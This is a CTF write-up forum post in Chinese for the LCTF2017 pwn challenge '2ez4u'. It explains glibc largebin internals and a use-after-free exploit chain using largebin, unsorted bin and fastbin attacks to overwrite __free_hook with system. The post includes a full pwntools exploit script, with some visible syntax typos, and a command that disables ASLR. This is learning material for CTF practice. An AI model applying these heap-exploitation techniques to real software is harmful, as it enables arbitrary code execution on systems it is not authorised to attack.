首页
论坛
课程
招聘
[原创]【lctf2017】2e4zu
2022-4-28 00:35 9232

[原创]【lctf2017】2e4zu

2022-4-28 00:35
9232

img

 

这是一场试炼,纪念写了一周加星期六熬到凌晨4点的折磨

前置知识

largebin attack

这个玩意真的折磨 听pwn说这个用的不多,不过可以通过学习它对unlink有一个更加深入的了解。

largebin 的插入管理机制

一开始学的时候,看各个博客师傅的讲解,大同小异但是都能看明白。各个师傅都有对libc里面largebin插入操作的源码的分析。不过本人才疏学浅,一开始属实都没看懂,于是自己找源码看了看。现在同样以注释的方式记录一下自己对源码(glibc 2.33)的分析。

 

肯定会有理解错误的地方,日后再修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
            if (in_largebin_range (size)) //判断是否属于largebin
            {
              victim_index = largebin_index (size); //寻找当前size在largebin中的
              bck = bin_at (av, victim_index); //寻找main_arena
              fwd = bck->fd;//size最大的chunk的地址
 
              /* maintain large bins in sorted order */
              if (fwd != bck) //如果表不为空
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
 < (unsigned long) chunksize_nomask(bck->bk))//bck->bk是当前最小的chunk,如果size比它还小,那么直接插入到表尾
                    {
                      fwd = bck;//感觉这个不符合我自己的编码习惯,如果我写我肯定fwd=bck->fd,也好理解一些
                      bck = bck->bk;
 
                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//总的来说,就是链表的插入操作
                    }
                  else//如果不是最小,那就由小到大找到第一个比它小的插在它的前面
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }
 
                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;//如果说是已经存在相同大小的chunk,就纵向插入
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//这个检查好像和unlink一样,都是检查fwd的指针有没有被恶意修改
                            malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;//这里的bck是用来纵向插入的
                      if (bck->fd != fwd)
                        malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同样是纵向检查指针有没有被恶意修改
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;//如果表为空,那么指针自指
            }
 
          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;//不管到底有没有重复,都进行一次纵向链接,保证一些指针为NULL

其实可以理解为纵向链接和横向链接。就是一个绳子上用链条(fd_nextsize和bk_nextsize)挂着大小不同的珠子,大小相同的珠子通过磁力(fd和bk指针)又挂在一起。这个就是largebin的插入管理机制。

 

关于对指针恶意修改的检测,貌似只有2.29以后才有

如何从largebin取出堆块

这里默认能够从largebin中取出

 

先找到相应的index,在index中从小到大遍历堆块,找到第一个比所需大小大(或等于)的堆块。然后unlink,和其它的bins一样,存在着对fd,bk,fd_nextsize以及bk_nextsize的检测。

 

对取下的chunk如果大小不等于申请的size,那就存在着切割操作。如果剩余大小大于MINSIZE。则返还给unsorted bin,否则一并给用户。

largebin的利用手法

(1)申请伪造的堆块来泄露堆地址(glibc2.23)

如果有两个连续的chunk1,2。内存中地址的排布为chunk1位于高地址,如果我们能够在chunk1中伪造一个chunk,并且能够申请到它。那么如果chunk2是位于双向链表维护的bin中,就可以leak libc了。

 

那么如何才能申请到伪造的堆块呢?就要利用到largebin的分配机制了。

 

如果是通过在largebin里取出一块大小为size的chunk,系统会从size最小的chunk开始,通过bk_nextsize指针,不断寻找第一块size不小于所需size的chunk,然后分配给用户。如果我们把bk_nextsize设置为fake_chunk,即可完成fake_chunk的调用。

 

不过没这么简单,取下这个chunk要经过unlink,然而unlink存在对fd,bk,fd_nextsize,bk_nextsize指针的检测,检查p->fd->bk是否等于p等。

 

绕过p->fd-bk是否等于p这个和unsorted bin unlink差不多,都是找到一块存fake_chunk的地址address,然后把fake_chunk的fd,bk指针分别置为address-0x18和address-0x10。

 

绕过p->fd_nextsize->bk_nexsize==p,则需要我们伪造一个堆块,进行如上的连接。

 

有个小技巧,就是在取下fake_chunk的同时,我们可以把chunk2放入smallbin里。做法就是先free chunk2,再通过add从largebin中取chunk,通过unsorted bin的大循环机制,放入smallbin就可泄露libc了。

如何关闭地址随机化方便调试

1
2
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space

libc版本

libc2.23

思路

这题考察了uaf,unlink ,largebin attack,fastbin attack , unsortedbin attck ,还有smallbin的一些知识,属于前期堆题技巧的一些汇总了(除了tcache没涉及),所以很值得复现。这题完全弄懂的话,前期的一些堆题的利用就没啥问题了,可以开house of 系列了。所以有关这道题的题解我会认真去写,尽可能的详细,而且这道题博主本身也做了蛮久的,看网上有些师傅的wp都看了好久。所以希望以这次复现为契机,好好的复习一下自己学过的堆块的机制。

保护

img

 

习惯了。。

ida

main

img

 

分别是add,delet,edit和show函数

add

img

 

img

 

发现会形成如下结构体:

 

(ymnh给的改结构体的教程,不过大师傅从来不用所以俺就延续大师傅的肉眼调试了)

 

这道题堆块的放入也是折磨人的一个点,它是用一个bool指针给数组上的位置打标记。所以delet之后的重新add的位置就可能乱覆盖一些我们想保留的东西,我们只能在之前添加几个类似替罪羊的东西。但是这样又要考察我们的堆布局的能力,而且是牵一发动全身的那种。

1
2
3
4
5
6
7
struct apple{
     int color;
     int num;
     int_64 value;
     int index;
     int_64 description;
}

delet

img

 

发现存在uaf漏洞(注意上面置为0的是在数组里的标记,也就是前面add检测该内存有没有放过堆块,之后的add有可能覆盖这个内存上的堆块地址,但是不会立马清除),通过uaf我们能够edit large chunk的bk_nextsize,实现largebin attack等

show

img

 

注意这里的description打印的是bk_nextsize,就不能用unsorted bin的fd或bk指针泄露libc了(但是ymnh试了试可以,据说是利用unsorted bin切割堆块,但是俺还不会)。但是可以利用largebin泄露堆块地址。

edit

和add差不大多所以就不提了

解题过程

堆布局

img

 

这里的堆布局要注意几个点

 

(1)用largebin leak的堆的末尾地址不能为'\x00'否则会触发截断

 

(2)两个地址连续的大堆块放入unsorted bin会触发合并

 

(3)delet的大堆块不能和chunk_top相连否则会与之合并

 

(4)伪造的堆块如果free,那么必须满足下下个堆块的size的preinsure==1(俺试出来的QAQ)

 

反正就是要不断调整布局,俺在leaklibc的过程中各种调整,每次调整都要改伪造的堆块地址,简直折磨。但这种东西你不可能一开始就想得很周到,只能做完了把exp改得漂亮一点,但这又有什么意义呢。

泄露堆块地址

img

 

利用largebin的bk_nextsize存放堆块的机制,largechunk uaf泄露堆地址

泄露libc

img

 

通过伪造堆块和fd,bk,fd_nextsize,bk_nextsize指针以及fake_chunk后面的堆块的pre_size和size。反正核心就是绕过unlink的那几个检查。并且这几个bin取堆块基本上是通过bk或bk_nextsize指针。

 

值得注意的点是,让#7与smallbin的main_arena相连应该在用padding覆盖#2之后。因为这道题的read有一个'00'截断,会影响puts的打印。

 

这里还有一个unsorted bin大循环的机制,就是尝试从unsorted bin中寻找堆块失败的话,会从fastbin中取出所有堆块进入unsorted bin尝试合并(只有地址连续的才能合并成功),未能合并的chunk会放入smallbin。利用small bin的双链表机制泄露libc

unsorted bin && fastbin attack

img

 

fastbin attack很好懂,主要是通过原来的堆块往伪造的堆块的fd指针写值

 

unsorted bin attack 主要是破坏unsorted bin来实现bk指针指向的是free_hook上面的一段,从而能够实现地址错位绕过chunk的检查

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./2ez4u')
libc=ELF('./libc-2.23.so')
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter("your choice: ",str(num))
 
def add(size,con):
    cho(1)
    r.recvuntil("color?(0:red, 1:green):")
    r.sendline(str(0))
    r.recvuntil("value?(0-999):")
    r.sendline(str(0))
    r.sendlineafter("num?(0-16):",str(0))
    r.sendlineafter("description length?(1-1024):",str(size))
    r.sendlineafter("description of the apple:",con)
 
def delet(idx):
    cho(2)
    r.sendlineafter("which?(0-15):",str(idx))
 
def edit(idx,con):
    cho(3)
    r.sendlineafter("which?(0-15):",str(idx))
    r.recvuntil("color?(0:red, 1:green):")
    r.sendline(str(0))
    r.recvuntil("value?(0-999):")
    r.sendline(str(0))
    r.sendlineafter("num?(0-16):",str(0))
    r.sendlineafter("description of the apple:",con)
 
def show(idx):
    cho(4)
    r.sendlineafter("which?(0-15):",str(idx))
 
 
add(0x60,'0'*0x60)#0
add(0x60,'1'*0x60)#1
add(0x60,'2'*0x60)#2
add(0x60,'3'*0x60)#3
add(0x60,'4'*0x60)#4
add(0x60,'5'*0x60)#5
add(0x3f0,'nameless')#6
add(0x60'8'*0x60 )#7
add(0x3e0, '9'*0x1b0)#8
add(0x60'9'*0x80 )#9
add(0x3f0, "nameless")#a
add(0x60-0x18'b'*0x30 )#b
add(0x60-0x18'c'*0x30 )#c
add(0x60-0x18'd'*0x30 )#d
 
##leak_heapadress
delet(0)
delet(8)
delet(0xa)
add(0x400,'nameless') #0
show(0xa)
r.recvuntil('description:')
heap=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x790
log.success('heap:'+hex(heap))
 
##leak_libc
fake_chunk=heap+0x130
chunk1=heap+0xc10 #10
chunk2=heap+0x1b0 #3
target=heap+0xb0
pd=p64(0)*2+p64(0x411)+p64(target-0x18)+p64(target-0x10)+p64(chunk1)+p64(chunk2)
edit(2,pd)
edit(0xa,p64(fake_chunk))
edit(1,p64(0)+p64(fake_chunk))
pd=p64(0)*2+p64(0x421)+p64(0)*2+p64(fake_chunk)
edit(3,pd)
edit(6,'6'*0x218+p64(0x410)+p64(0x411))
delet(5)
delet(3)
add(0x3f0,'3'*56)
add(0x60,'nameless')
show(3)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3a43a8-(libc.sym['__libc_start_main']+240)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libcbase:'+hex(libcbase))
log.success('system:'+hex(system))
 
##unsortedbin attack
delet(3)
pd=p64(0)*2+p64(0x411)+p64(0)+p64(free_hook-0x48)
edit(2,pd)
add(0x3f0,'nameless')
 
##fastbin attack
pd=p64(0)+p64(0)+p64(0x71)
edit(2,pd)
edit(3,0x50*'a'+p64(0x431))
delet(3)
pd=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
edit(2,pd)
add(0x50,'/bin/sh\x00')
add(0x50,0x13*'a'+p64(system))
pd=p64(0)+p64(0)+p64(0x71)+'/bin/sh\x00'
edit(2,pd)
delet(3)
r.interactive()

看雪2022 KCTF 秋季赛 防守篇规则,征题截止日期11月12日!(iPhone 14等你拿!)

上传的附件:
收藏
点赞3
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/05/25 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回